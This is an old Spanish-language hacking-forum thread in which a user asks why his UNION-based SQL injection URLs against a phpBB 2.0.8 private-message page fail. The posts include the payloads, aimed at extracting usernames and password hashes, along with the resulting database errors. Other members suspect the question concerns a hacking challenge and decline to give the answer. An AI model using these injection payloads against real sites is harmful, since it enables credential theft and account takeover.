Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: tormenta en 24 Marzo 2005, 17:13 pm



Título: ayuda con inyeccion sql
Publicado por: tormenta en 24 Marzo 2005, 17:13 pm
no soy muy bueno con las inyecciones sql pero un amigo me ha dejado hacer algunas pruebas. hago la inyeccion pero me saca error, mi pregunta es que estoy haciendo mal? la version es 2.0.8. estoy cometiendo algun error en el codigo o este no es el codigo que debo utilizar? gracias por su ayuda.




http://www.xxxxx.com/xxxx/xxxxxx/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,nullFROMphpbb_usersWHEREuser_level=1LIMIT1/*

DEBUG MODE

SQL Error : 1054 Unknown column 'username' in 'field list'

SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text FROM reto4_privmsgs pm, reto4_privmsgs_text pmt, reto4_users u, reto4_users u2 WHERE pm.privmsgs_id = 99 AND pmt.privmsgs_text_id = pm.privmsgs_id AND pm.privmsgs_type=-99 UNION SELECT username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,nullFROMphpbb_usersWHEREuser_level=2LIMIT1/*AND ( ( pm.privmsgs_to_userid = 63 AND pm.privmsgs_type = 3 ) OR ( pm.privmsgs_from_userid = 63 AND pm.privmsgs_type = 4 ) ) AND u.user_id = pm.privmsgs_from_userid AND u2.user_id = pm.privmsgs_to_userid

Line : 246
File : /home/xxxx/public_html/xxxx/xxxxxxxx/privmsg.php





http://www.xxxx.com/xxxxxx/xxxxxx/privmsg.php?mode=post&u=2=name=Private_Messages&file=index&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20aid,null,pwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20nuke_authors%20WHERE%20cualquiera=1%20LIMIT%201/*



Could not query private message post information

DEBUG MODE

SQL Error : 1146 Table 'cualquiera_hola.nuke_authors' doesn't exist

SELECT u.username AS username_1, u.user_id AS user_id_1, u2.username AS username_2, u2.user_id AS user_id_2, u.user_sig_bbcode_uid, u.user_posts, u.user_from, u.user_website, u.user_email, u.user_icq, u.user_aim, u.user_yim, u.user_regdate, u.user_msnm, u.user_viewemail, u.user_rank, u.user_sig, u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid, pmt.privmsgs_text FROM reto4_privmsgs pm, reto4_privmsgs_text pmt, reto4_users u, reto4_users u2 WHERE pm.privmsgs_id = 99 AND pmt.privmsgs_text_id = pm.privmsgs_id AND pm.privmsgs_type=-99 UNION SELECT aid,null,pwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM nuke_authors WHERE cualquiera=1 LIMIT 1/*AND ( ( pm.privmsgs_to_userid = 63 AND pm.privmsgs_type = 3 ) OR ( pm.privmsgs_from_userid = 63 AND pm.privmsgs_type = 4 ) ) AND u.user_id = pm.privmsgs_from_userid AND u2.user_id = pm.privmsgs_to_userid

Line : 246
File : /home/xxxxxx/public_html/xxxx/xxxxxxx/privmsg.php
 

 


Título: Re: ayuda con inyeccion sql
Publicado por: NiG en 29 Marzo 2005, 09:31 am
el error me parece q esta en algo q estas asumiendo q existe y en realidad no es asi... o por lo menos tiene otro nombre revisala...


//.. Esta pregunta puede q no encaje en ciertos estandares de la famosa "etica hacker" por lo cual puede causar malestar en ciertas personas, en todo caso abstenerse a postear y consultar al respectivo Moderador, el cual tene el derecho de decidir ... //



Título: Re: ayuda con inyeccion sql
Publicado por: tormenta en 29 Marzo 2005, 16:46 pm
agradezco tu respuesta rusafe. tambien queria decirte que
mi intencion no es molestar a alguien, o hacerle daño.
La practica la estoy haciendo en la web de una amigo con su permiso porque ambos queremos aprender en en que consiste el bug y como se soluciona.
Sinembargo mi experiencia con este tema no es muy buena y por eso pido ayuda.


Título: Re: ayuda con inyeccion sql
Publicado por: Crack_X en 29 Marzo 2005, 22:41 pm
agradezco tu respuesta rusafe. tambien queria decirte que
mi intencion no es molestar a alguien, o hacerle daño.
La practica la estoy haciendo en la web de una amigo con su permiso porque ambos queremos aprender en en que consiste el bug y como se soluciona.
Sinembargo mi experiencia con este tema no es muy buena y por eso pido ayuda.

Estas seguro?  A mi me parece mas bien el reto de hackyashira que hay que hackear el foro. Se parece en un 97% y  lo se por el contenido de la base de datos. Y mira que coincidencia el foro de hackyashira tambien es un 2.0.8

No le den la respuesta a los retos.


Título: Re: ayuda con inyeccion sql
Publicado por: Colymore en 30 Marzo 2005, 06:45 am
uyyy casi cuela tormenta..xDD..no intentes que te den los retos exos eso no sirve de nada...si t provoca sadisfacion personal aya tu pero asi no aprenderas nada